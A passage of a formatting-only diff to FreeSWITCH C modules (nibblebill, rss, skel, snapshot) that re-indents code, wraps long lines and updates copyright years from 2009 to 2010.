char *percall_action; /* Exceeded length of per-call action */
float lowbal_amt; /* When we warn them they are near depletion */
char *lowbal_action; /* Low balance action */
float nobal_amt; /* Minimum amount that must remain in the account */
char *nobal_action; /* Drop action */
/* Other options */
int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
/* Database settings */
char *db_username;
@@ -135,7 +132,7 @@ static int nibblebill_callback(void *pArg, int argc, char **argv, char **columnN
{
nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
cbt->balance = (float)atof(argv[0]);
cbt->balance = (float) atof(argv[0]);
return 0;
}
@@ -145,13 +142,13 @@ static switch_status_t load_config(void)
char *cf = "nibblebill.conf";
switch_xml_t cfg, xml = NULL, param, settings;
switch_status_t status = SWITCH_STATUS_SUCCESS;
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
goto setdefaults;
}
if ((settings = switch_xml_child(cfg, "settings"))) {
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -172,23 +169,23 @@ static switch_status_t load_config(void)
} else if (!strcasecmp(var, "percall_action")) {
set_global_percall_action(val);
} else if (!strcasecmp(var, "percall_max_amt")) {
globals.percall_max_amt = (float)atof(val);
globals.percall_max_amt = (float) atof(val);
} else if (!strcasecmp(var, "lowbal_action")) {
set_global_lowbal_action(val);
} else if (!strcasecmp(var, "lowbal_amt")) {
globals.lowbal_amt = (float)atof(val);
globals.lowbal_amt = (float) atof(val);
} else if (!strcasecmp(var, "nobal_action")) {
set_global_nobal_action(val);
} else if (!strcasecmp(var, "nobal_amt")) {
globals.nobal_amt = (float)atof(val);
globals.nobal_amt = (float) atof(val);
} else if (!strcasecmp(var, "global_heartbeat")) {
globals.global_heartbeat = atoi(val);
}
}
}
/* Set defaults for any variables still not set */
setdefaults:
setdefaults:
if (zstr(globals.db_username)) {
set_global_db_username("bandwidth.com");
}
@@ -218,7 +215,7 @@ setdefaults:
}
if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
"Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n",
globals.db_dsn, globals.db_username, globals.db_password);
status = SWITCH_STATUS_FALSE;
@@ -232,7 +229,7 @@ setdefaults:
"ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
}
done:
done:
if (xml) {
switch_xml_free(xml);
}
@@ -241,7 +238,7 @@ done:
void debug_event_handler(switch_event_t *event)
{
if (!event) {
if (!event) {
return;
}
@@ -305,8 +302,9 @@ static switch_status_t bill_event(float billamount, const char *billaccount)
return SWITCH_STATUS_SUCCESS;
}
switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account,
billaccount);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt, NULL) != SWITCH_ODBC_SUCCESS) {
char *err_str;
@@ -347,9 +345,9 @@ static float get_balance(const char *billaccount)
/* Successfully retrieved! */
balance = pdata.balance;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
}
return balance;
}
@@ -394,7 +392,8 @@ static switch_status_t do_billing(switch_core_session_t *session)
return SWITCH_STATUS_SUCCESS;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate,
billaccount);
/* Get caller profile info from channel */
profile = switch_channel_get_caller_profile(channel);
@@ -409,10 +408,11 @@ static switch_status_t do_billing(switch_core_session_t *session)
/* See if this person has enough money left to continue the call */
balance = get_balance(billaccount);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
if (balance <= globals.nobal_amt) {
/* Not enough money - reroute call to nobal location */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
balance, globals.nobal_amt, billaccount);
transfer_call(session, globals.nobal_action);
}
@@ -443,7 +443,7 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
memset(nibble_data, 0, sizeof(*nibble_data));
/* Setup new billing data (based on call answer time, in case this module started late with active calls) */
nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
@@ -452,13 +452,15 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
switch_time_exp_lt(&tm, nibble_data->lastts);
switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n",
(int) ((ts - nibble_data->lastts) / 1000000), date);
if ((ts - nibble_data->lastts) >= 0) {
/* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
billamount = ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount,
uuid, nibble_data->total);
/* DO ODBC BILLING HERE and reset counters if it's successful! */
if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
@@ -474,7 +476,8 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failed to log to database!\n");
}
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n", uuid);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n",
uuid);
}
/* Update the last time we billed */
@@ -488,7 +491,8 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
balance = get_balance(billaccount);
if (balance <= globals.nobal_amt) {
/* Not enough money - reroute call to nobal location */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
balance, globals.nobal_amt, billaccount);
/* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
/* in nibblebill checking the call again in the routing process for an allowed balance! */
@@ -496,7 +500,7 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
nibblebill_pause(session);
transfer_call(session, globals.nobal_action);
}
}
}
/* Done changing - release lock */
@@ -515,18 +519,18 @@ static void event_handler(switch_event_t *event)
switch_core_session_t *session;
char *uuid;
if (!event){
if (!event) {
/* We should never get here - it means an event came in without the event info */
return;
}
/* Make sure everything is sane */
if (!(uuid = switch_event_get_header(event, "Unique-ID"))){
if (!(uuid = switch_event_get_header(event, "Unique-ID"))) {
/* Donde esta channel? */
return;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name(event->event_id));
/* Display debugging info */
if (switch_event_get_header(event, "nibble_debug")) {
@@ -594,12 +598,14 @@ static void nibblebill_resume(switch_core_session_t *session)
nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
if (!nibble_data) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
return;
}
if (nibble_data->pausets == 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Can't resume - channel is not paused! (This is expected at hangup time)\n");
return;
}
@@ -611,8 +617,9 @@ static void nibblebill_resume(switch_core_session_t *session)
billrate = switch_channel_get_variable(channel, "nibble_rate");
/* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
nibble_data->bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
nibble_data->bill_adjustments += ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n",
(atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
nibble_data->pausets = 0;
@@ -699,7 +706,7 @@ static void nibblebill_adjust(switch_core_session_t *session, float amount)
}
/* Variables kept in FS but relevant only to this module */
billaccount = switch_channel_get_variable(channel, "nibble_account");
/* Return if there's no billing information on this session */
@@ -725,7 +732,7 @@ SWITCH_STANDARD_APP(nibblebill_app_function)
if (!zstr(data) && (lbuf = strdup(data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (!strcasecmp(argv[0], "adjust") && argc == 2) {
nibblebill_adjust(session, (float)atof(argv[1]));
nibblebill_adjust(session, (float) atof(argv[1]));
} else if (!strcasecmp(argv[0], "flush")) {
do_billing(session);
} else if (!strcasecmp(argv[0], "pause")) {
@@ -760,7 +767,7 @@ SWITCH_STANDARD_API(nibblebill_api_function)
channel = switch_core_session_get_channel(psession);
if (!strcasecmp(argv[1], "adjust") && argc == 3) {
nibblebill_adjust(psession, (float)atof(argv[2]));
nibblebill_adjust(psession, (float) atof(argv[2]));
} else if (!strcasecmp(argv[1], "flush")) {
do_billing(psession);
} else if (!strcasecmp(argv[1], "pause")) {
@@ -805,7 +812,7 @@ static switch_status_t sched_billing(switch_core_session_t *session)
static switch_status_t process_hangup(switch_core_session_t *session)
{
/* Resume any paused billings, just in case */
// nibblebill_resume(session);
// nibblebill_resume(session);
/* Now go handle like normal billing */
do_billing(session);
@@ -813,17 +820,19 @@ static switch_status_t process_hangup(switch_core_session_t *session)
return SWITCH_STATUS_SUCCESS;
}
switch_state_handler_table_t nibble_state_handler =
{
/* on_init */ NULL,
/* on_routing */ process_hangup, /* Need to add a check here for anything in their account before routing */
/* on_execute */ sched_billing, /* Turn on heartbeat for this session and do an initial account check */
/* on_hangup */ process_hangup, /* On hangup - most important place to go bill */
/* on_exch_media */ sched_billing,
/* on_soft_exec */ NULL,
/* on_consume_med */ NULL,
/* on_hibernate */ NULL,
/* on_reset */ NULL
switch_state_handler_table_t nibble_state_handler = {
/* on_init */ NULL,
/* on_routing */ process_hangup,
/* Need to add a check here for anything in their account before routing */
/* on_execute */ sched_billing,
/* Turn on heartbeat for this session and do an initial account check */
/* on_hangup */ process_hangup,
/* On hangup - most important place to go bill */
/* on_exch_media */ sched_billing,
/* on_soft_exec */ NULL,
/* on_consume_med */ NULL,
/* on_hibernate */ NULL,
/* on_reset */ NULL
};
SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
@@ -831,13 +840,13 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
switch_api_interface_t *api_interface;
switch_application_interface_t *app_interface;
/* Set every byte in this structure to 0 */
/* Set every byte in this structure to 0 */
memset(&globals, 0, sizeof(globals));
globals.pool = pool;
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
load_config();
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
@@ -845,13 +854,16 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
/* Add dialplan applications */
SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call",
"Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX,
SAF_NONE | SAF_ROUTING_EXEC);
/* register state handlers for billing */
switch_core_add_state_handler(&nibble_state_handler);
/* bind to heartbeat events */
if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) !=
SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
return SWITCH_STATUS_GENERR;
}
@@ -861,7 +873,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
{
{
switch_event_unbind(&globals.node);
switch_core_remove_state_handler(&nibble_state_handler);
switch_odbc_handle_disconnect(globals.master_odbc);
+3 -3
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -184,9 +184,9 @@ SWITCH_STANDARD_APP(rss_function)
switch_input_args_t args = { 0 };
const char *vcf = NULL;
char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
switch_codec_implementation_t read_impl = {0};
switch_codec_implementation_t read_impl = { 0 };
uint32_t rate, interval;
switch_core_session_get_read_impl(session, &read_impl);
switch_core_session_get_read_impl(session, &read_impl);
interval = read_impl.microseconds_per_packet / 1000;
if ((vcf = switch_channel_get_variable(channel, "rss_alt_config"))) {
+32 -28
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -55,42 +55,46 @@ static struct {
int integer;
} globals;
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
{
switch_bool_t value = *(switch_bool_t*)data->ptr;
switch_bool_t value = *(switch_bool_t *) data->ptr;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
value ? "true" : "false", changed ? "true" : "false");
value ? "true" : "false", changed ? "true" : "false");
/*
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
}
*/
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
}
*/
return SWITCH_STATUS_SUCCESS;
}
static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
/* enforce_min, min, enforce_max, max */
static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
{ "greedy", CODEC_NEGOTIATION_GREEDY },
{ "generous", CODEC_NEGOTIATION_GENEROUS },
{ "evil", CODEC_NEGOTIATION_EVIL },
{ NULL, 0 }
static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
{"greedy", CODEC_NEGOTIATION_GREEDY},
{"generous", CODEC_NEGOTIATION_GENEROUS},
{"evil", CODEC_NEGOTIATION_EVIL},
{NULL, 0}
};
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy", &config_opt_codec_negotiation, \
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void*)CODEC_NEGOTIATION_GREEDY, &config_opt_codec_negotiation_enum,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void*)SWITCH_FALSE, (switch_xml_config_callback_t)config_callback_siptrace, NULL,
"yes|no", "If enabled, print out sip messages on the console."),
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void*)100, &config_opt_integer,
NULL, NULL),
SWITCH_CONFIG_ITEM("codec-negotiation-str", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &globals.codec_negotiation_str, "greedy",
&config_opt_codec_negotiation,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM("codec-negotiation", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, &globals.codec_negotiation, (void *) CODEC_NEGOTIATION_GREEDY,
&config_opt_codec_negotiation_enum,
"greedy|generous|evil", "Specifies the codec negotiation scheme to be used."),
SWITCH_CONFIG_ITEM_CALLBACK("sip-trace", SWITCH_CONFIG_BOOL, CONFIG_RELOADABLE, &globals.sip_trace, (void *) SWITCH_FALSE,
(switch_xml_config_callback_t) config_callback_siptrace, NULL,
"yes|no", "If enabled, print out sip messages on the console."),
SWITCH_CONFIG_ITEM("integer", SWITCH_CONFIG_INT, CONFIG_RELOADABLE, &globals.integer, (void *) 100, &config_opt_integer,
NULL, NULL),
SWITCH_CONFIG_ITEM_END()
};
@@ -102,14 +106,14 @@ static switch_status_t do_config(switch_bool_t reload)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open skel.conf\n");
return SWITCH_STATUS_FALSE;
}
return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(skel_function)
{
do_config(SWITCH_TRUE);
return SWITCH_STATUS_SUCCESS;
}
@@ -121,9 +125,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_skel_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
do_config(SWITCH_FALSE);
SWITCH_ADD_API(api_interface, "skel", "Skel API", skel_function, "syntax");
/* indicate that the module should continue to be loaded */
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -65,17 +65,18 @@ static switch_bool_t capture_callback(switch_media_bug_t *bug, void *user_data,
break;
case SWITCH_ABC_TYPE_READ:
if (cb->buffer) {
uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
switch_frame_t frame = { 0 };
frame.data = data;
frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
if (switch_mutex_trylock(cb->mutex) == SWITCH_STATUS_SUCCESS) {
while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
if (frame.datalen) switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
if (frame.datalen)
switch_buffer_slide_write(cb->buffer, frame.data, frame.datalen);
}
switch_mutex_unlock(cb->mutex);
}
@@ -95,7 +96,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_media_bug_t *bug;
switch_status_t status;
switch_codec_implementation_t read_impl = {0};
switch_codec_implementation_t read_impl = { 0 };
struct cap_cb *cb;
switch_size_t bytes;
switch_bind_flag_t bind_flags = 0;
@@ -109,8 +110,8 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Must be at least 5 seconds!\n");
return SWITCH_STATUS_FALSE;
}
switch_core_session_get_read_impl(session, &read_impl);
switch_core_session_get_read_impl(session, &read_impl);
if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_FALSE;
@@ -118,7 +119,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
cb = switch_core_session_alloc(session, sizeof(*cb));
cb->base = switch_core_session_strdup(session, base);
bytes = read_impl.samples_per_second * seconds * 2;
switch_buffer_create_dynamic(&cb->buffer, bytes, bytes, bytes);
@@ -132,7 +133,7 @@ static switch_status_t start_capture(switch_core_session_t *session, unsigned in
switch_ivr_bind_dtmf_meta_session(session, 7, bind_flags, "snapshot::snap");
switch_channel_set_private(channel, "snapshot", bug);
return SWITCH_STATUS_SUCCESS;
}
@@ -141,11 +142,11 @@ static switch_status_t do_snap(switch_core_session_t *session)
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_media_bug_t *bug = switch_channel_get_private(channel, "snapshot");
char *file;
switch_file_handle_t fh = {0};
switch_codec_implementation_t read_impl = {0};
switch_file_handle_t fh = { 0 };
switch_codec_implementation_t read_impl = { 0 };
switch_size_t bytes_read;
int16_t pdata[4096] = {0};
int16_t pdata[4096] = { 0 };
if (bug) {
switch_time_exp_t tm;
switch_size_t retsize;
@@ -158,19 +159,17 @@ static switch_status_t do_snap(switch_core_session_t *session)
switch_time_exp_lt(&tm, switch_time_make(switch_epoch_time_now(NULL), 0));
switch_strftime(date, &retsize, sizeof(date), "%Y_%m_%d_%H_%M_%S", &tm);
file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir,
SWITCH_PATH_SEPARATOR, cb->base, date);
file = switch_core_session_sprintf(session, "%s%s%s_%s.wav", SWITCH_GLOBAL_dirs.sounds_dir, SWITCH_PATH_SEPARATOR, cb->base, date);
switch_core_session_get_read_impl(session, &read_impl);
fh.channels = 0;
fh.native_rate = read_impl.actual_samples_per_second;
if (switch_core_file_open(&fh,
file,
0,
read_impl.actual_samples_per_second,
SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
@@ -180,7 +179,7 @@ static switch_status_t do_snap(switch_core_session_t *session)
switch_mutex_lock(cb->mutex);
while ((bytes_read = switch_buffer_read(cb->buffer, pdata, sizeof(pdata)))) {
switch_size_t samples = bytes_read / 2;
if (switch_core_file_write(&fh, pdata, &samples) != SWITCH_STATUS_SUCCESS) {
break;
}
@@ -205,8 +204,8 @@ SWITCH_STANDARD_APP(snapshot_app_function)
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))) {
argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
}
if (argc < 1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SNAP_SYNTAX);
return;
@@ -240,7 +239,7 @@ SWITCH_STANDARD_APP(snapshot_app_function)
}
start_capture(session, seconds, flags, base);
}
if (!strcasecmp(argv[0], "snap")) {
@@ -276,7 +275,7 @@ SWITCH_STANDARD_API(snapshot_function)
const char *base = argv[3];
int seconds = 5;
switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
if (sec) {
int tmp = atoi(sec);
if (tmp > 5) {
@@ -297,7 +296,7 @@ SWITCH_STANDARD_API(snapshot_function)
if (!base) {
base = "mod_snapshot";
}
status = start_capture(lsession, seconds, flags, base);
}
@@ -311,7 +310,7 @@ SWITCH_STANDARD_API(snapshot_function)
stream->write_function(stream, "-ERR Operation Failed\n");
}
done:
done:
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
@@ -327,7 +326,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_snapshot_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
SWITCH_ADD_API(api_interface, "uuid_snapshot", "Snapshot API", snapshot_function, SNAP_API_SYNTAX);
SWITCH_ADD_APP(app_interface, "snapshot", "", "", snapshot_app_function, SNAP_SYNTAX, SAF_SUPPORT_NOMEDIA);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -55,42 +55,46 @@ static struct {
int integer;
} globals;
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
{
switch_bool_t value = *(switch_bool_t*)data->ptr;
switch_bool_t value = *(switch_bool_t *) data->ptr;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
value ? "true" : "false", changed ? "true" : "false");
value ? "true" : "false", changed ? "true" : "false");
/*
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
}
*/
if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
